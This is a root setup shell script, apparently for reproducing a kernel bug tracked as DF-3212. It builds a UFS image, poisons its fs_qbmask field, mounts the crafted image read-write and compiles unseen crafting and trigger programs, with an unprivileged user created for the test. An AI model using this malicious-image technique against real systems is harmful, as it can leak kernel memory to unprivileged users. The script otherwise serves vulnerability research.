DF-3212 / setup.sh
#!/bin/sh # setup.sh - DF-3212 root setup, runs INSIDE the guest as root. # Creates the clean UFS image + 1MB zero file, unmounts, poisons fs_qbmask, # remounts crafted RW (noatime: no inode writeback on the poisoned fs; # noclusterr: ffs_blkatoff_ra uses plain bread so b_bufsize == fs_bsize). set -u cd /root echo "=== user 1001 ===" pw useradd -n u1001 -u 1001 -d /home/u1001 -m -s /bin/sh 2>/dev/null && echo created || echo exists echo "=== BUILD ===" cc -O -o craft_img craft_img.c || { echo CRAFT_BUILD_FAIL; exit 3; } cc -O -o trigger trigger.c || { echo TRIG_BUILD_FAIL; exit 3; } cp trigger /tmp/trigger && chmod 755 /tmp/trigger echo "=== CREATE base UFS image (fs_bsize=8192, CLEAN geometry) ===" rm -f base.img leak.img truncate -s 16M base.img vnconfig -u vn0 2>/dev/null || true vnconfig -c vn0 base.img newfs -b 8192 -f 1024 /dev/vn0 >/dev/null 2>&1 mkdir -p /mnt/test chmod 755 /mnt/test mount -t ufs /dev/vn0 /mnt/test || { echo MOUNT_BASE_FAIL; exit 3; } dd if=/dev/zero of=/mnt/test/leak.bin bs=64k count=16 2>/dev/null chmod 644 /mnt/test/leak.bin ls -l /mnt/test/leak.bin umount /mnt/test vnconfig -u vn0 echo "=== PATCH fs_qbmask -> 0x7ffff ===" ./craft_img base.img leak.img 0x7ffff || exit 3 echo "=== MOUNT crafted image RW ===" vnconfig -c vn0 leak.img mount -o noatime,noclusterr -t ufs /dev/vn0 /mnt/test echo "MOUNT_RC=$?" mount | grep vn0 || true echo "=== SETUP DONE ===" |